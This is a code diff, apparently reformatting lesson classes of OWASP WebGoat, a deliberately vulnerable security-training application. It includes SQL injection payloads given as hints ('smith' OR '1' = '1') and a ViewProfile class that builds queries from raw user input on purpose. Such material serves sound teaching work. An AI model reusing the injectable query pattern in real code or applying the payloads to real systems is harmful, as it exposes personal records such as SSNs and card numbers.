.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true"); + "Try appending a SQL statement that always resolves to true");
// Stage 1 // Stage 1
hints hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ smith' OR '1' = '1 ]."); hints.add("Try entering a password of [ smith' OR '1' = '1 ].");
// Stage 2 // Stage 2
@ -121,8 +112,7 @@ public class SQLInjection extends GoatHillsFinancial
.add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement."); .add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement.");
// Stage 3 // Stage 3
hints hints.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
// Stage 4 // Stage 4
@ -130,9 +120,9 @@ public class SQLInjection extends GoatHillsFinancial
} }
@Override @Override
public String[] getStages() { public String[] getStages()
if (getWebgoatContext().isCodingExercises()) {
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4}; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 }; return new String[] { STAGE1, STAGE3 };
} }
@ -179,15 +169,13 @@ public class SQLInjection extends GoatHillsFinancial
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -200,9 +188,9 @@ public class SQLInjection extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName()); // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
if (!action.requiresAuthentication() // action.getActionName());
|| action.isAuthenticated(s)) if (!action.requiresAuthentication() || action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
@ -210,32 +198,27 @@ public class SQLInjection extends GoatHillsFinancial
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure"); System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -253,7 +236,6 @@ public class SQLInjection extends GoatHillsFinancial
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *

186
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ViewProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,47 +12,44 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException
UnauthenticatedException, UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
@ -60,31 +57,27 @@ public class ViewProfile extends DefaultLessonAction
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
String userId = getSessionAttribute(s, getLessonName() + "." String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
+ SQLInjection.USER_ID);
String employeeId = null; String employeeId = null;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getRawParameter( employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
SQLInjection.EMPLOYEE_ID); } catch (ParameterNotFoundException e)
}
catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getRequestAttribute(s, getLessonName() + "." employeeId = getRequestAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ID);
+ SQLInjection.EMPLOYEE_ID);
} }
// FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an Employee. // FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an
// Employee.
// Most other JSP's can handle null session attributes. // Most other JSP's can handle null session attributes.
employee = getEmployeeProfile(s, userId, employeeId); employee = getEmployeeProfile(s, userId, employeeId);
// If employee==null redirect to the error page. // If employee==null redirect to the error page.
if (employee == null) if (employee == null)
getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION); getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION);
else else
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
@ -92,62 +85,48 @@ public class ViewProfile extends DefaultLessonAction
updateLessonStatus(s, employee); updateLessonStatus(s, employee);
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return SQLInjection.VIEWPROFILE_ACTION; return SQLInjection.VIEWPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT employee.* " + String query = "SELECT employee.* "
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; + "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -156,58 +135,46 @@ public class ViewProfile extends DefaultLessonAction
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId, String subjectUserId)
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId, throws UnauthorizedException
String subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user // Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+ subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -216,24 +183,19 @@ public class ViewProfile extends DefaultLessonAction
return profile; return profile;
} }
private void updateLessonStatus(WebSession s, Employee employee) private void updateLessonStatus(WebSession s, Employee employee)
{ {
try try
{ {
String userId = getSessionAttribute(s, getLessonName() + "." String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
+ SQLInjection.USER_ID); String employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
String employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
String stage = getStage(s); String stage = getStage(s);
if (SQLInjection.STAGE3.equals(stage)) if (SQLInjection.STAGE3.equals(stage))
{ {
// If the employee we are viewing is the prize and we are not authorized to have it, // If the employee we are viewing is the prize and we are not authorized to have it,
// the stage is completed // the stage is completed
if (employee != null if (employee != null && employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID && !isAuthorizedForEmployee(s, Integer.parseInt(userId), employee.getId()))
&& !isAuthorizedForEmployee(s, Integer
.parseInt(userId), employee.getId()))
{ {
setStageComplete(s, SQLInjection.STAGE3); setStageComplete(s, SQLInjection.STAGE3);
} }
@ -248,21 +210,19 @@ public class ViewProfile extends DefaultLessonAction
Employee targetEmployee = null; Employee targetEmployee = null;
try try
{ {
targetEmployee = getEmployeeProfile_BACKUP(s, targetEmployee = getEmployeeProfile_BACKUP(s, userId, employeeId);
userId, employeeId); } catch (UnauthorizedException e)
{
} }
catch (UnauthorizedException e) if (targetEmployee != null && targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{}
if (targetEmployee != null
&& targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{ {
setStageComplete(s, SQLInjection.STAGE4); setStageComplete(s, SQLInjection.STAGE4);
} }
} }
} }
} catch (ParameterNotFoundException pnfe)
{
} }
catch (ParameterNotFoundException pnfe)
{}
} }
} }

52
main/project/JavaSource/org/owasp/webgoat/lessons/SameOriginPolicyProtection.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -21,14 +21,16 @@ import org.owasp.webgoat.session.*;
public class SameOriginPolicyProtection extends LessonAdapter public class SameOriginPolicyProtection extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -38,8 +40,7 @@ public class SameOriginPolicyProtection extends LessonAdapter
try try
{ {
ec.addElement(new Script() ec.addElement(new Script().setSrc("javascript/sameOrigin.js"));
.setSrc("javascript/sameOrigin.js"));
Input hiddenWGStatus = new Input(Input.HIDDEN, "hiddenWGStatus", 0); Input hiddenWGStatus = new Input(Input.HIDDEN, "hiddenWGStatus", 0);
hiddenWGStatus.setID("hiddenWGStatus"); hiddenWGStatus.setID("hiddenWGStatus");
@ -49,8 +50,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
hiddenGoogleStatus.setID("hiddenGoogleStatus"); hiddenGoogleStatus.setID("hiddenGoogleStatus");
ec.addElement(hiddenGoogleStatus); ec.addElement(hiddenGoogleStatus);
ec.addElement(new StringElement("Enter a URL: ")); ec.addElement(new StringElement("Enter a URL: "));
ec.addElement(new BR()); ec.addElement(new BR());
@ -61,7 +60,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
urlArea.setWrap("SOFT"); urlArea.setWrap("SOFT");
ec.addElement(urlArea); ec.addElement(urlArea);
button b = new button(); button b = new button();
b.setValue("Go!"); b.setValue("Go!");
b.setType(button.button); b.setType(button.button);
@ -70,24 +68,15 @@ public class SameOriginPolicyProtection extends LessonAdapter
b.addElement("Go!"); b.addElement("Go!");
ec.addElement(b); ec.addElement(b);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
H3 reponseTitle = new H3("Response: "); H3 reponseTitle = new H3("Response: ");
reponseTitle.setID("responseTitle"); reponseTitle.setID("responseTitle");
ec.addElement(reponseTitle); ec.addElement(reponseTitle);
// ec.addElement(new BR()); // ec.addElement(new BR());
TextArea ta = new TextArea(); TextArea ta = new TextArea();
ta.setName("responseArea"); ta.setName("responseArea");
ta.setID("responseArea"); ta.setID("responseArea");
@ -96,9 +85,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
ec.addElement(ta); ec.addElement(ta);
ec.addElement(new BR()); ec.addElement(new BR());
String webGoatURL = "lessons/Ajax/sameOrigin.jsp"; String webGoatURL = "lessons/Ajax/sameOrigin.jsp";
String googleURL = "http://www.google.com/search?q=aspect+security"; String googleURL = "http://www.google.com/search?q=aspect+security";
@ -117,24 +103,18 @@ public class SameOriginPolicyProtection extends LessonAdapter
google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL); google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL);
ec.addElement(google); ec.addElement(google);
} catch (Exception e)
}
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0); int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0); int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0);
System.out.println("hiddenWGStatus:" + hiddenWGStatusInt); System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt); System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1) if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{ {
makeSuccess(s); makeSuccess(s);
@ -143,7 +123,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -165,19 +144,16 @@ public class SameOriginPolicyProtection extends LessonAdapter
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -192,12 +168,12 @@ public class SameOriginPolicyProtection extends LessonAdapter
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
public String getInstructions(WebSession s) {
String instructions = "This exercise demonstrates the " +
"Same Origin Policy Protection. XHR requests can only be passed back to " +
" the originating server. Attempts to pass data to a non-originating server " +
" will fail.";
public String getInstructions(WebSession s)
{
String instructions = "This exercise demonstrates the "
+ "Same Origin Policy Protection. XHR requests can only be passed back to "
+ " the originating server. Attempts to pass data to a non-originating server " + " will fail.";
return (instructions); return (instructions);
} }

37
main/project/JavaSource/org/owasp/webgoat/lessons/SequentialLessonAdapter.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.apache.ecs.Element; import org.apache.ecs.Element;
@ -7,8 +8,9 @@ import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.SequentialLessonTracker; import org.owasp.webgoat.session.SequentialLessonTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public abstract class SequentialLessonAdapter extends LessonAdapter {
public abstract class SequentialLessonAdapter extends LessonAdapter
{
public void setStage(WebSession s, int stage) public void setStage(WebSession s, int stage)
{ {
@ -16,10 +18,11 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
getLessonTracker(s).setStage(stage); getLessonTracker(s).setStage(stage);
} }
/* By default returns 1 stage. /*
* (non-Javadoc) * By default returns 1 stage. (non-Javadoc)
*/ */
public int getStageCount() { public int getStageCount()
{
return 1; return 1;
} }
@ -32,24 +35,26 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s) { public SequentialLessonTracker getLessonTracker(WebSession s)
{
return (SequentialLessonTracker) super.getLessonTracker(s); return (SequentialLessonTracker) super.getLessonTracker(s);
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) { public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{
return (SequentialLessonTracker) super.getLessonTracker(s, lesson); return (SequentialLessonTracker) super.getLessonTracker(s, lesson);
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride) { public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{
return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride); return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride);
} }
@Override @Override
public LessonTracker createLessonTracker() { public LessonTracker createLessonTracker()
{
return new SequentialLessonTracker(); return new SequentialLessonTracker();
} }
@ -58,7 +63,8 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
try try
{ {
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
//int stage = Integer.parseInt( getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1")); // int stage = Integer.parseInt(
// getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1"));
switch (stage) switch (stage)
{ {
@ -77,8 +83,7 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
default: default:
throw new Exception("Invalid stage"); throw new Exception("Invalid stage");
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
System.out.println(e); System.out.println(e);
@ -88,7 +93,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return (new StringElement("")); return (new StringElement(""));
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -96,7 +100,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec; return ec;
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -104,7 +107,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec; return ec;
} }
protected Element doStage3(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -112,7 +114,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec; return ec;
} }
protected Element doStage4(WebSession s) throws Exception protected Element doStage4(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -120,7 +121,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec; return ec;
} }
protected Element doStage5(WebSession s) throws Exception protected Element doStage5(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -128,7 +128,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec; return ec;
} }
protected Element doStage6(WebSession s) throws Exception protected Element doStage6(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();

118
main/project/JavaSource/org/owasp/webgoat/lessons/SilentTransactions.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -60,8 +59,8 @@ public class SilentTransactions extends LessonAdapter
private final static Double CURRENT_BALANCE = 11987.09; private final static Double CURRENT_BALANCE = 11987.09;
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
@ -70,17 +69,14 @@ public class SilentTransactions extends LessonAdapter
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax")) if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ {
